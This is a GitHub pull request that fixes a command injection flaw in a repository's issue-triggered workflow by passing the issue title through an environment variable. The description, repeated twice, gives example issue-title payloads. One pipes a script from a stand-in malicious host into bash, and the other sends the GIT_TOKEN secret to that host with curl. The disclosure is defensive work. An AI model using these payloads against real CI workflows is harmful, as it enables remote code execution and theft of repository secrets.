Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Update new_issue.yml #1439

Merged
merged 2 commits into from
Aug 7, 2023
Merged

Security Update new_issue.yml #1439

merged 2 commits into from
Aug 7, 2023

Conversation

aashish-19
Copy link
Contributor

new_issue.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc:

  • name: Run Suggest
  • run: faqtory suggest "${{ github.event.issue.title }}" > suggest.md

A simple example of a malicious payload in the issue title can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be:
Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/ #
This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

new_issue.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc: 
- name: Run Suggest
        run: faqtory suggest "${{ github.event.issue.title }}" > suggest.md

A simple example of a malicious payload in the issue title can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be:
Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/`
This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.
@hbredin
Copy link
Member

hbredin commented Jul 27, 2023

Thanks. Genuine question: can you please explain how the suggested change fixes the issue?

@aashish-19
Copy link
Contributor Author

Yeah for sure!
Switching the user-generated input into an environment variable, like TITLE, and then referencing this in your command helps reduce the possibility of injection attacks. In this way, even if a user were to input a title full of special characters aimed at manipulating the command, the shell sees the value of $TITLE as a single argument for the 'faqtory suggest' command, not as a piece of the shell command.

@hbredin hbredin merged commit 37b39b0 into pyannote:develop Aug 7, 2023
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants